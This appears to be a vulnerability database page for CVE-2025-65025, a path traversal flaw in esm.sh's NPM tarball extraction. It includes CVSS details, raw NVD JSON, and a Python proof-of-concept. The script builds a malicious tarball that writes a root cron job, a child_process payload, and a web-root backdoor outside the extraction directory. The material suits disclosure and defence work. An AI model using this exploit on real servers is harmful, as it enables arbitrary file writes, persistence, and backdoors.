Security Vulnerability Report
中文
CVE-2025-65025 CVSS 8.2 HIGH

CVE-2025-65025

Published: 2025-11-19 18:15:50
Last Modified: 2026-01-15 17:52:39

Description

esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:* - VULNERABLE
esm.sh CDN < 136

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import tarfile import os import io # PoC: Create a malicious NPM package with path traversal # This demonstrates how an attacker can craft a malicious tarball def create_malicious_tarball(): """ Create a malicious NPM package tarball with path traversal payload """ # Malicious files to be written outside extraction directory malicious_files = [ ('../../tmp/evil.js', b'// Malicious code\nrequire("child_process").exec("malicious_command");'), ('../../../../etc/cron.d/malicious', b'* * * * * root /tmp/evil.js\n'), ('../../var/www/html/backdoor.js', b'// Backdoor script\nmodule.exports = require("child_process").execSync;'), ] # Create tarball in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Add package.json package_json = b'{"name": "malicious-package", "version": "1.0.0", "main": "index.js"}' info = tarfile.TarInfo(name='package/package.json') info.size = len(package_json) tar.addfile(info, io.BytesIO(package_json)) # Add malicious files with path traversal for filepath, content in malicious_files: info = tarfile.TarInfo(name=f'package/{filepath}') info.size = len(content) tar.addfile(info, io.BytesIO(content)) print(f'[+] Added malicious file: {filepath}') return tar_buffer.getvalue() if __name__ == '__main__': print('[*] Generating malicious NPM package tarball...') tarball_data = create_malicious_tarball() # Save the tarball with open('malicious-package-1.0.0.tgz', 'wb') as f: f.write(tarball_data) print('[+] Malicious tarball created: malicious-package-1.0.0.tgz') print('[+] When extracted by esm.sh, files will be written to arbitrary locations')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65025", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:49.840", "lastModified": "2026-01-15T17:52:38.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*", "versionEndExcluding": "136", "matchCriteriaId": "6FB0321A-8476-4667-8F8F-BF9D9E1DF466"}]}]}], "references": [{"url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}